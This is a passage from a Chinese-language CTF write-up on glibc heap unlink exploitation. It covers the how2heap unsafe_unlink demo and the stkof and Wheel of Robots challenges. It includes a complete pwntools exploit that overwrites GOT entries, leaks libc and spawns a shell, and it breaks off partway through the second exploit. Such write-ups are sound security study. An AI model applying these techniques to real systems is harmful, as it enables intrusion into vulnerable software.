class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"The victim chunk we are going to corrupt is at %p\n\n"</span>, chunk1_ptr);</span><br><span class="line"></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"We create a fake chunk inside chunk0.\n"</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &amp;chunk0_ptr so that P-&gt;fd-&gt;bk = P.\n"</span>);</span><br><span class="line">	chunk0_ptr[<span class="number">2</span>] = (<span class="keyword">uint64_t</span>) &amp;chunk0_ptr-(<span class="keyword">sizeof</span>(<span class="keyword">uint64_t</span>)*<span class="number">3</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &amp;chunk0_ptr so that P-&gt;bk-&gt;fd = P.\n"</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"With this setup we can pass this check: (P-&gt;fd-&gt;bk != P || P-&gt;bk-&gt;fd != P) == False\n"</span>);</span><br><span class="line">	chunk0_ptr[<span class="number">3</span>] = (<span class="keyword">uint64_t</span>) &amp;chunk0_ptr-(<span class="keyword">sizeof</span>(<span class="keyword">uint64_t</span>)*<span class="number">2</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Fake chunk fd: %p\n"</span>,(<span class="keyword">void</span>*) chunk0_ptr[<span class="number">2</span>]);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Fake chunk bk: %p\n\n"</span>,(<span class="keyword">void</span>*) chunk0_ptr[<span class="number">3</span>]);</span><br><span class="line"></span><br><span class="line">	<span class="comment">//fprintf(stderr, "We need to make sure the 'size' of our fake chunk matches the 'previous_size' of the next chunk (chunk+size)\n");</span></span><br><span class="line">	<span class="comment">//fprintf(stderr, "With this setup we can pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False\n");</span></span><br><span class="line">	<span class="comment">//fprintf(stderr, "P = chunk0_ptr, next_chunk(P) == (mchunkptr) (((char *) (p)) + chunksize (p)) == chunk0_ptr + (chunk0_ptr[1]&amp;(~ 0x7))\n");</span></span><br><span class="line">	<span class="comment">//fprintf(stderr, "If x = chunk0_ptr[1] &amp; (~ 0x7), that is x = *(chunk0_ptr + x).\n");</span></span><br><span class="line">	<span class="comment">//fprintf(stderr, "We just need to set the *(chunk0_ptr + x) = x, so we can pass the check\n");</span></span><br><span class="line">	<span class="comment">//fprintf(stderr, "1.Now the x = chunk0_ptr[1]&amp;(~0x7) = 0, we should set the *(chunk0_ptr + 0) = 0, in other words we should do nothing\n");</span></span><br><span class="line">	<span class="comment">//fprintf(stderr, "2.Further more we set chunk0_ptr = 0x8 in 64-bits environment, then *(chunk0_ptr + 0x8) == chunk0_ptr[1], it's fine to pass\n");</span></span><br><span class="line">	<span class="comment">//fprintf(stderr, "3.Finally we can also set chunk0_ptr[1] = x in 64-bits env, and set *(chunk0_ptr+x)=x,for example chunk_ptr0[1] = 0x20, chunk_ptr0[4] = 0x20\n");</span></span><br><span class="line">	<span class="comment">//chunk0_ptr[1] = sizeof(size_t);</span></span><br><span class="line">	<span class="comment">//fprintf(stderr, "In this case we set the 'size' of our fake chunk so that chunk0_ptr + size (%p) == chunk0_ptr-&gt;size (%p)\n", ((char *)chunk0_ptr + chunk0_ptr[1]), &amp;chunk0_ptr[1]);</span></span><br><span class="line">	<span class="comment">//fprintf(stderr, "You can find the commitdiff of this check at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30\n\n");</span></span><br><span class="line"></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n"</span>);</span><br><span class="line">	<span class="keyword">uint64_t</span> *chunk1_hdr = chunk1_ptr - header_size;</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n"</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n"</span>);</span><br><span class="line">	chunk1_hdr[<span class="number">0</span>] = malloc_size;</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n"</span>,(<span class="keyword">void</span>*)chunk1_hdr[<span class="number">0</span>]);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n"</span>);</span><br><span class="line">	chunk1_hdr[<span class="number">1</span>] &amp;= ~<span class="number">1</span>;</span><br><span class="line"></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n"</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n"</span>);</span><br><span class="line">	<span class="built_in">free</span>(chunk1_ptr);</span><br><span class="line"></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n"</span>);</span><br><span class="line">	<span class="keyword">char</span> victim_string[<span class="number">8</span>];</span><br><span class="line">	<span class="built_in">strcpy</span>(victim_string,<span class="string">"Hello!~"</span>);</span><br><span class="line">	chunk0_ptr[<span class="number">3</span>] = (<span class="keyword">uint64_t</span>) victim_string;</span><br><span class="line"></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n"</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Original value: %s\n"</span>,victim_string);</span><br><span class="line">	chunk0_ptr[<span class="number">0</span>] = <span class="number">0x4141414142424242</span>LL;</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"New Value: %s\n"</span>,victim_string);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>这段的原理在前面SleepyHolder其实已经用过了，所以就只简单的debug，帮助自己记忆一下</p>
<p>Debug:</p>
<p><img src="/2020/02/02/how2heap-unsafe-unlink-stkof%E3%80%81Wheel-of-Robots/1580548299890.png" alt="1580548299890"></p>
<p>更改 chunk 1 prev_inuse之前所伪造的fake chunk，fake chunk-&gt;fd被设置成&amp;chunk0_ptr-0x18，fake chunk-&gt;bk被设置成&amp;chunk0_ptr-0x10，然后prev_size设置成chunk 0 size-0x10（减去chunk head大小，就是我们malloc传入参数的大小0x80）</p>
<p>之后修改chunk 1的prev_inuse位为0，free chunk 1&amp;trigger <code>unlink(chunk0)</code>，通过unlink的检查、操作之后，所得到的结果是chunk0_ptr=0x602058(fake fd)</p>
<p><img src="/2020/02/02/how2heap-unsafe-unlink-stkof%E3%80%81Wheel-of-Robots/1580560743117.png" alt="1580560743117"></p>
<p>此时chunk0_ptr[3]刚好为chunk0_ptr，填入victim_string的地址，然后对其进行修改</p>
<p>具体步骤回顾前一篇写的unlink过程，不再做多解释</p>
<h1 id="stkof"><a href="#stkof" class="headerlink" title="stkof"></a>stkof</h1><h2 id="程序分析"><a href="#程序分析" class="headerlink" title="程序分析"></a>程序分析</h2><p>程序一共有四个功能供选择，执行成功输出OK，执行失败输出FAIL</p>
<p><img src="/2020/02/02/how2heap-unsafe-unlink-stkof%E3%80%81Wheel-of-Robots/1580559836335.png" alt="1580559836335"></p>
<h3 id="new"><a href="#new" class="headerlink" title="new:"></a>new:</h3><p><img src="/2020/02/02/how2heap-unsafe-unlink-stkof%E3%80%81Wheel-of-Robots/1580559935789.png" alt="1580559935789"></p>
<p>malloc一个没有大小检查的chunk，放入s数组记录，并输出对应index，malloc时对应index只增不减</p>
<h3 id="fill-chunk"><a href="#fill-chunk" class="headerlink" title="fill_chunk:"></a>fill_chunk:</h3><p><img src="/2020/02/02/how2heap-unsafe-unlink-stkof%E3%80%81Wheel-of-Robots/1580560078101.png" alt="1580560078101"></p>
<p>输入index后检查index大小、以及对应index是否有记录chunk，然后输入想要fill的大小，这里对大小没有检查，存在overflow</p>
<h3 id="Free："><a href="#Free：" class="headerlink" title="Free："></a>Free：</h3><p><img src="/2020/02/02/how2heap-unsafe-unlink-stkof%E3%80%81Wheel-of-Robots/1580560247354.png" alt="1580560247354"></p>
<p>输入index，检查index大小、以及对应index是否 有记录，然后free 对应的chunk，并清除记录</p>
<h3 id="todo"><a href="#todo" class="headerlink" title="todo:"></a>todo:</h3><p><img src="/2020/02/02/how2heap-unsafe-unlink-stkof%E3%80%81Wheel-of-Robots/1580560405002.png" alt="1580560405002"></p>
<p>似乎没什么用…（但是在后面的利用用到了）</p>
<h2 id="Exploit："><a href="#Exploit：" class="headerlink" title="Exploit："></a>Exploit：</h2><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">new(<span class="number">0x80</span>)<span class="comment">#index 1</span></span><br><span class="line">new(<span class="number">0x80</span>)<span class="comment">#index 2 </span></span><br><span class="line">new(<span class="number">0x80</span>)<span class="comment">#index 3</span></span><br><span class="line">new(<span class="number">0x80</span>)<span class="comment">#index 4</span></span><br><span class="line">new(<span class="number">0x80</span>)<span class="comment">#index 5 unlink chunk</span></span><br><span class="line">new(<span class="number">0x80</span>)<span class="comment">#index 6 chunk to free</span></span><br><span class="line">new(<span class="number">0x80</span>)<span class="comment">#index 7 Avoid merging</span></span><br></pre></td></tr></table></figure>

<p>首先new出7个small chunk，此时记录如图所示</p>
<p><img src="/2020/02/02/how2heap-unsafe-unlink-stkof%E3%80%81Wheel-of-Robots/1580563261399.png" alt="1580563261399"></p>
<p>利用fill_chunk和chunk 5修改chunk 6 的prev_inuse位，顺带构造一个fake chunk</p>
<p><em>（这里为什么不从chunk1开始主要是因为在调试时发现chunk 1的前后分别有一个size为1040的chunk，具体原因参考ctf-wiki  <a href="https://wiki.x10sec.org/pwn/heap/unlink/#2014-hitcon-stkof）" target="_blank" rel="noopener">https://wiki.x10sec.org/pwn/heap/unlink/#2014-hitcon-stkof）</a></em></p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">chunk5_address=<span class="number">0x602168</span></span><br><span class="line">fake_chunk  = p64(<span class="number">0</span>)+p64(<span class="number">0x81</span>)<span class="comment">#fake chunk head</span></span><br><span class="line">fake_chunk += p64(chunk5_address<span class="number">-0x18</span>)+p64(chunk5_address<span class="number">-0x10</span>)<span class="comment">#fake fd/bk</span></span><br><span class="line">fake_chunk += <span class="string">'\x00'</span>*(<span class="number">0x80</span>-len(fake_chunk))</span><br><span class="line">fake_chunk += p64(<span class="number">0x80</span>)+<span class="string">'\x90'</span><span class="comment">#fake prev_size,prev_inuse</span></span><br><span class="line">fill_chunk(<span class="number">5</span>,len(fake_chunk),fake_chunk)</span><br></pre></td></tr></table></figure>

<p>fill之后：</p>
<p><img src="/2020/02/02/how2heap-unsafe-unlink-stkof%E3%80%81Wheel-of-Robots/1580563976215.png" alt="1580563976215"></p>
<p>之后free chunk 6，第5个chunk用来unlink，这个操作设置其内容为&amp;chunk2</p>
<p>执行free之后（这个截图是还没执行到s[6]=0处）：</p>
<p><img src="/2020/02/02/how2heap-unsafe-unlink-stkof%E3%80%81Wheel-of-Robots/1580564233828.png" alt="1580564233828"></p>
<p>接着利用其修改index 2处的记录为&amp;strlen_GOT，然后使用fill_chunk(2)修改strlen_GOT的值为&amp;puts_plt</p>
<p>修改index 2处的记录为&amp;puts_GOT</p>
<p>接着调用todo，输入2即可puts(&amp;strlen_GOT)，接着根据strlen在libc的偏移计算出libc base</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">strlen_GOT=<span class="number">0x602030</span></span><br><span class="line">puts_GOT=<span class="number">0x602020</span></span><br><span class="line">puts_plt=<span class="number">0x400760</span></span><br><span class="line">fill_chunk(<span class="number">5</span>,<span class="number">8</span>,p64(strlen_GOT)) <span class="comment">#index 2-&gt;strlen_GOT address</span></span><br><span class="line">fill_chunk(<span class="number">2</span>,<span class="number">8</span>,p64(puts_plt))<span class="comment">#set strlen_GOT -&gt; puts_plt </span></span><br><span class="line">fill_chunk(<span class="number">5</span>,<span class="number">8</span>,p64(puts_GOT))<span class="comment">#index 2-&gt;puts_GOT address</span></span><br><span class="line">todo(<span class="number">2</span>)<span class="comment">#puts(&amp;puts_GOT)</span></span><br><span class="line">libc_base=my_u64(p.recv(<span class="number">6</span>))<span class="number">-0x6f690</span></span><br></pre></td></tr></table></figure>

<p>同样利用上面的方式，fill chunk 3为/bin/sh，然后将strlen_GOT设置成system的地址，todo(3)即可getshell</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">system_offset=<span class="number">0x45390</span></span><br><span class="line">fill_chunk(<span class="number">5</span>,<span class="number">8</span>,p64(strlen_GOT))<span class="comment">#index 2-&gt;strlen_GOT address</span></span><br><span class="line">fill_chunk(<span class="number">2</span>,<span class="number">8</span>,p64(libc_base+system_offset))<span class="comment">#set strlen_GOT -&gt; system</span></span><br><span class="line">fill_chunk(<span class="number">3</span>,len(<span class="string">'/bin/sh'</span>),<span class="string">'/bin/sh'</span>)</span><br><span class="line">todo(<span class="number">3</span>)</span><br></pre></td></tr></table></figure>

<h2 id="完整EXP"><a href="#完整EXP" class="headerlink" title="完整EXP"></a>完整EXP</h2><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> print_function</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">binary = <span class="string">'./stkof'</span>	<span class="comment">#binary's name here</span></span><br><span class="line">context.binary = binary		<span class="comment">#context here</span></span><br><span class="line">context.log_level=<span class="string">'debug'</span></span><br><span class="line">pty = process.PTY</span><br><span class="line">p = process(binary, aslr = <span class="number">1</span>, stdin=pty, stdout=pty)	<span class="comment">#process option here</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">Host =</span></span><br><span class="line"><span class="string">Port =</span></span><br><span class="line"><span class="string">p = remote(Host,Port)</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">elf = ELF(binary)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">my_u64 = <span class="keyword">lambda</span> x: u64(x.ljust(<span class="number">8</span>, <span class="string">'\0'</span>))</span><br><span class="line">ub_offset = <span class="number">0x3c4b30</span></span><br><span class="line">codebase = <span class="number">0x555555554000</span></span><br><span class="line"><span class="comment">#log.info("\033[1;36m" + hex(bin_addr) + "\033[0m")</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># todo here</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">new</span><span class="params">(size)</span>:</span></span><br><span class="line">	sleep(<span class="number">0.1</span>)</span><br><span class="line">	p.sendline(<span class="string">'1'</span>)</span><br><span class="line">	p.sendline(str(size))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fill_chunk</span><span class="params">(index,size,content)</span>:</span></span><br><span class="line">	sleep(<span class="number">0.1</span>)</span><br><span class="line">	p.sendline(<span class="string">'2'</span>)</span><br><span class="line">	p.sendline(str(index))</span><br><span class="line">	p.sendline(str(size))</span><br><span class="line">	p.send(content)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">Free</span><span class="params">(index)</span>:</span></span><br><span class="line">	sleep(<span class="number">0.1</span>)</span><br><span class="line">	p.sendline(<span class="string">'3'</span>)</span><br><span class="line">	p.sendline(str(index))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">todo</span><span class="params">(index)</span>:</span></span><br><span class="line">	sleep(<span class="number">0.1</span>)</span><br><span class="line">	p.sendline(<span class="string">'4'</span>)</span><br><span class="line">	p.sendline(str(index))</span><br><span class="line"></span><br><span class="line">new(<span class="number">0x80</span>)<span class="comment">#index 1 can't use</span></span><br><span class="line">p.recvuntil(<span class="string">'OK\n'</span>)</span><br><span class="line"></span><br><span class="line">new(<span class="number">0x80</span>)<span class="comment">#index 2</span></span><br><span class="line">p.recvuntil(<span class="string">'OK\n'</span>)</span><br><span class="line">new(<span class="number">0x80</span>)<span class="comment">#index 3</span></span><br><span class="line">p.recvuntil(<span class="string">'OK\n'</span>)</span><br><span class="line">new(<span class="number">0x80</span>)<span class="comment">#index 4</span></span><br><span class="line">p.recvuntil(<span class="string">'OK\n'</span>)</span><br><span class="line">new(<span class="number">0x80</span>)<span class="comment">#index 5 unlink chunk</span></span><br><span class="line">p.recvuntil(<span class="string">'OK\n'</span>)</span><br><span class="line">new(<span class="number">0x80</span>)<span class="comment">#index 6 chunk to free</span></span><br><span class="line">p.recvuntil(<span class="string">'OK\n'</span>)</span><br><span class="line">new(<span class="number">0x80</span>)<span class="comment">#index 7 Avoid merging</span></span><br><span class="line">p.recvuntil(<span class="string">'OK\n'</span>)</span><br><span class="line"></span><br><span class="line">chunk5_address=<span class="number">0x602168</span></span><br><span class="line">fake_chunk  = p64(<span class="number">0</span>)+p64(<span class="number">0x81</span>)<span class="comment">#fake chunk head</span></span><br><span class="line">fake_chunk += p64(chunk5_address<span class="number">-0x18</span>)+p64(chunk5_address<span class="number">-0x10</span>)<span class="comment">#fake fd/bk</span></span><br><span class="line">fake_chunk += <span class="string">'\x00'</span>*(<span class="number">0x80</span>-len(fake_chunk))</span><br><span class="line">fake_chunk += p64(<span class="number">0x80</span>)+<span class="string">'\x90'</span><span class="comment">#fake prev_size,prev_inuse</span></span><br><span class="line">fill_chunk(<span class="number">5</span>,len(fake_chunk),fake_chunk)</span><br><span class="line">p.recvuntil(<span class="string">'OK\n'</span>)</span><br><span class="line"></span><br><span class="line">Free(<span class="number">6</span>)</span><br><span class="line">p.recvuntil(<span class="string">'OK\n'</span>)</span><br><span class="line">strlen_GOT=<span class="number">0x602030</span></span><br><span class="line">puts_GOT=<span class="number">0x602020</span></span><br><span class="line">puts_plt=<span class="number">0x400760</span></span><br><span class="line">fill_chunk(<span class="number">5</span>,<span class="number">8</span>,p64(strlen_GOT))</span><br><span class="line">p.recvuntil(<span class="string">'OK\n'</span>)</span><br><span class="line">fill_chunk(<span class="number">2</span>,<span class="number">8</span>,p64(puts_plt))</span><br><span class="line">p.recvuntil(<span class="string">'OK\n'</span>)</span><br><span class="line">fill_chunk(<span class="number">5</span>,<span class="number">8</span>,p64(puts_GOT))</span><br><span class="line">p.recvuntil(<span class="string">'OK\n'</span>)</span><br><span class="line">gdb.attach(p,<span class="string">'b *0x400C1C'</span>)</span><br><span class="line"></span><br><span class="line">todo(<span class="number">2</span>)</span><br><span class="line">libc_base=my_u64(p.recv(<span class="number">6</span>))<span class="number">-0x6f690</span></span><br><span class="line">log.info(<span class="string">"\033[1;36m"</span> + <span class="string">'libc_base:'</span>+hex(libc_base) + <span class="string">"\033[0m"</span>)</span><br><span class="line"></span><br><span class="line">system_offset=<span class="number">0x45390</span></span><br><span class="line">fill_chunk(<span class="number">5</span>,<span class="number">8</span>,p64(strlen_GOT))</span><br><span class="line">p.recvuntil(<span class="string">'OK\n'</span>)</span><br><span class="line">fill_chunk(<span class="number">2</span>,<span class="number">8</span>,p64(libc_base+system_offset))</span><br><span class="line">p.recvuntil(<span class="string">'OK\n'</span>)</span><br><span class="line">fill_chunk(<span class="number">3</span>,len(<span class="string">'/bin/sh'</span>),<span class="string">'/bin/sh'</span>)</span><br><span class="line">p.recvuntil(<span class="string">'OK\n'</span>)</span><br><span class="line">todo(<span class="number">3</span>)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

<p><em>ps:ctf-wiki上面是直接修改 <code>atoi@got</code> 为 system 函数地址，再次调用时，输入 /bin/sh 地址，这里可以用作以后exploit的参考</em></p>
<h1 id="Wheel-of-Robots"><a href="#Wheel-of-Robots" class="headerlink" title="Wheel of Robots"></a>Wheel of Robots</h1><h2 id="程序分析-1"><a href="#程序分析-1" class="headerlink" title="程序分析"></a>程序分析</h2><p>主菜单一共有四个选择，在进行选择之前用/dev/random读取随机数来当做srand种子</p>
<p><img src="/2020/02/02/how2heap-unsafe-unlink-stkof%E3%80%81Wheel-of-Robots/1580573062290.png" alt="1580573062290"></p>
<h3 id="add："><a href="#add：" class="headerlink" title="add："></a>add：</h3><h4 id="输入选择部分"><a href="#输入选择部分" class="headerlink" title="输入选择部分"></a>输入选择部分</h4><p><img src="/2020/02/02/how2heap-unsafe-unlink-stkof%E3%80%81Wheel-of-Robots/1580573416563.png" alt="1580573416563"></p>
<p>提供一个机器人选择菜单，然后对全局变量choic输入5B，此处存在一个<strong>1 Byte overflow</strong>，可以覆盖到<code>Bender</code>。</p>
<p>numofrobot不能大于2（初始为0）</p>
<h4 id="Tinny-Tim-对应1-："><a href="#Tinny-Tim-对应1-：" class="headerlink" title="Tinny_Tim(对应1)："></a>Tinny_Tim(对应1)：</h4><p><img src="/2020/02/02/how2heap-unsafe-unlink-stkof%E3%80%81Wheel-of-Robots/1580573549034.png" alt="1580573549034"></p>
<p>Tinny Tim是一个0x14大小的fast chunk，用calloc分配。<code>Tinny_Tim</code>记录这个机器人是否存在，<code>Tinny_Tim_ptr</code>记录堆指针，calloc之后将chunk data部分填充为Tinny Tim字符串</p>
<h4 id="Bender-对应2-："><a href="#Bender-对应2-：" class="headerlink" title="Bender(对应2)："></a>Bender(对应2)：</h4><p><img src="/2020/02/02/how2heap-unsafe-unlink-stkof%E3%80%81Wheel-of-Robots/1580573753819.png" alt="1580573753819"></p>
<p>Bender是一个大小不固定的fast chunk ，其大小根据用户输入<code>Bender_intelligence</code>决定，最大为0x3c，calloc分配，<code>Bender</code>记录机器人是否存在，<code>Bender_ptr</code>记录堆指针，calloc之后对chunk data部分填充</p>
<h4 id="Devil-对应3-："><a href="#Devil-对应3-：" class="headerlink" title="Devil(对应3)："></a>Devil(对应3)：</h4><p><img src="/2020/02/02/how2heap-unsafe-unlink-stkof%E3%80%81Wheel-of-Robots/1580574045235.png" alt="1580574045235"></p>
<p>Devil是一个大小不固定的chunk，大小根据用户输入的<code>Devil_cruelty</code>决定，最大为0x7bc，calloc分配，<code>Devil</code>记录机器人是否存在，<code>Devil_ptr</code>记录堆指针，calloc之后对chunk data填充</p>
<h4 id="Chain-smoker-对应4-："><a href="#Chain-smoker-对应4-：" class="headerlink" title="Chain_smoker(对应4)："></a>Chain_smoker(对应4)：</h4><p><img src="/2020/02/02/how2heap-unsafe-unlink-stkof%E3%80%81Wheel-of-Robots/1580574275281.png" alt="1580574275281"></p>
<p>Chain_smoker是一个大小固定的chunk（0xFA0），calloc分配，<code>Chain_smoker</code>记录机器人是否存在，<code>Chain_smoker_ptr</code>记录堆指针，calloc之后对chunk data填充</p>
<h4 id="Billionaire-Bot-对应5-："><a href="#Billionaire-Bot-对应5-：" class="headerlink" title="Billionaire_Bot(对应5)："></a>Billionaire_Bot(对应5)：</h4><p><img src="/2020/02/02/how2heap-unsafe-unlink-stkof%E3%80%81Wheel-of-Robots/1580574445414.png" alt="1580574445414"></p>
<p>Billionaire_Bot是一个固定大小的chunk（0x9C40），calloc分配，<code>Billionaire_Bot</code>记录是否存在，<code>Billionaire_Bot_ptr</code>记录堆指针，calloc之后对chunk data填充</p>
<h4 id="Destructor-对应6-："><a href="#Destructor-对应6-：" class="headerlink" title="Destructor(对应6)："></a>Destructor(对应6)：</h4><p><img src="/2020/02/02/how2heap-unsafe-unlink-stkof%E3%80%81Wheel-of-Robots/1580574577079.png" alt="1580574577079"></p>
<p>Destructor是一个大小不固定的chunk，大小根据用户输入的<code>Destructor_powerful</code>决定，calloc分配，<code>Destructor</code>记录机器人是否存在，<code>Destructor_ptr</code>记录堆指针，calloc之后对chunk data填充</p>
<h4 id="total："><a href="#total：" class="headerlink" title="total："></a><em>total：</em></h4><p>这里再记一下64位不同chunk的size范围（fast chunk：0x20~0x80，small chunk：&lt;0x400，large chunk &gt;=0x400）</p>
<ol>
<li>Tinny Tim：大小固定fast chunk 0x14</li>
<li>Bender：大小不固定fast chunk 0x14~0x3c</li>
<li>Robot Devil：大小不固定chunk，可以是fast chunk，small chunk，large chunk，max：0x7bc</li>
<li>Chain Smoker：large chunk 0xFA0</li>
<li>Billionaire Bot：large chunk 0x9C40</li>
<li>Destructor：可以是fast chunk，small chunk，large chunk</li>
</ol>
<h3 id="delete："><a href="#delete：" class="headerlink" title="delete："></a>delete：</h3><p>输入部分没有add的 overflow（有了add的分析基础接下来的分析简单一点）</p>
<p><img src="/2020/02/02/how2heap-unsafe-unlink-stkof%E3%80%81Wheel-of-Robots/1580575014595.png" alt="1580575014595"></p>
<p>全都是相同的操作，判断各记录，将对应ptr free掉之后把记录清零，然后numofrobot–</p>
<h3 id="change："><a href="#change：" class="headerlink" title="change："></a>change：</h3><p>change 的输入也是正常的</p>
<p><img src="/2020/02/02/how2heap-unsafe-unlink-stkof%E3%80%81Wheel-of-Robots/1580575136615.png" alt="1580575136615"></p>
<p>同样都是一个操作，检查记录，将对应chunk的data段renew，输入大小为申请时的大小</p>
<h3 id="startwheel："><a href="#startwheel：" class="headerlink" title="startwheel："></a>startwheel：</h3><p>当有2个robot时，产生0~6的随机数，随机选择输出一个chunk的内容</p>
<p><img src="/2020/02/02/how2heap-unsafe-unlink-stkof%E3%80%81Wheel-of-Robots/1580639554736.png" alt="1580639554736"></p>
<h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit:"></a>Exploit:</h2><p><em>这个方法是我自己写，没有看ctf-wiki的WP时候摸索出来的方法，并没有用到startwheel函数</em></p>
<p>原ctf-wiki链接：<a href="https://wiki.x10sec.org/pwn/heap/unlink/#2017-insomnihack-wheelofrobots" target="_blank" rel="noopener">https://wiki.x10sec.org/pwn/heap/unlink/#2017-insomnihack-wheelofrobots</a></p>
<p>add一个Bender（fast chunk），add一个Robot Devil（small chunk，这个用来Avoid merging&amp;trigger unlink），然后delete掉Bender，接着malloc一个Chain Smoker（large chunk），trigger <code>malloc_consolidate</code>，将fast chunk放入smallbins，然后通过1 Byte overflow更改<code>Bender</code>为1，再次delete，构成double free。（wiki上面是利用fastbin attack修改记录的chunk大小，change时构成overflow）</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">#注释末尾的数字表示numofrobot</span></span><br><span class="line">add(<span class="number">2</span>,intelligence=<span class="number">2</span>)<span class="comment">#Add Bender						1</span></span><br><span class="line">add(<span class="number">3</span>,cruelty=<span class="number">0x20</span>)<span class="comment">#Add Robot Devil	small chunk				2</span></span><br><span class="line">delete(<span class="number">2</span>)<span class="comment">#Add Bender to fastbins						1</span></span><br><span class="line">add(<span class="number">4</span>)<span class="comment">#Add large chunk(Chain_smoker) trigger malloc_consolidate	   		2</span></span><br><span class="line">overflow_Bender_to(<span class="number">1</span>)</span><br><span class="line">delete(<span class="number">2</span>)<span class="comment">#Delete Bender again							1</span></span><br><span class="line"><span class="comment">#double free now</span></span><br></pre></td></tr></table></figure>



<p><em>double free和malloc_consolidate的联合利用在之前SleepyHolder中已经写过了所以这里写简单一些</em></p>
<p>再add一个Bender，change时构造一个fake chunk，然后delete Robot Devil，trigger unlink，结束后<code>Bender_ptr</code>会指向&amp;Bender_ptr-0x18处，如图：</p>
<p><img src="/2020/02/02/how2heap-unsafe-unlink-stkof%E3%80%81Wheel-of-Robots/1580640134364.png" alt="1580640134364"></p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">Bender_ptr=<span class="number">0x6030F0</span></span><br><span class="line">add(<span class="number">2</span>,intelligence=<span class="number">2</span>)<span class="comment">#Add Bender 						2</span></span><br><span class="line">fake_chunk  = p64(<span class="number">0</span>)+p64(<span class="number">0x21</span>)<span class="comment">#fake chunk head</span></span><br><span class="line">fake_chunk += p64(Bender_ptr<span class="number">-0x18</span>)+p64(Bender_ptr<span class="number">-0x10</span>)<span class="comment">#fake fd/bk</span></span><br><span class="line">fake_chunk += <span class="string">'\x00'</span>*(<span class="number">0x20</span>-len(fake_chunk))</span><br><span class="line">fake_chunk += p64(<span class="number">0x20</span>)<span class="comment">#fake prev_size</span></span><br><span class="line">change(<span class="number">2</span>,fake_chunk)</span><br><span class="line"></span><br><span class="line">delete(<span class="number">2</span>)<span class="comment">#set Bender to fastbin							1</span></span><br><span class="line">add(<span class="number">6</span>,powerful=<span class="number">0x20</span>)<span class="comment">#Add Destructor small chunk     			  	2</span></span><br><span class="line">delete(<span class="number">3</span>)<span class="comment">#trigger unlink			 				1</span></span><br></pre></td></tr></table></figure>

<p>这里再trigger之前为什么要delete Bender还有add Destructor主要是为了后面的利用，这一块是我在写后面利用的时候回来补的(主要是delete3之后再来delete的时候会报错)，可以先不用管，这里delete Bender到fastbins里面之后也并没有影响fake_chunk，其prev_size字段本来就是0</p>
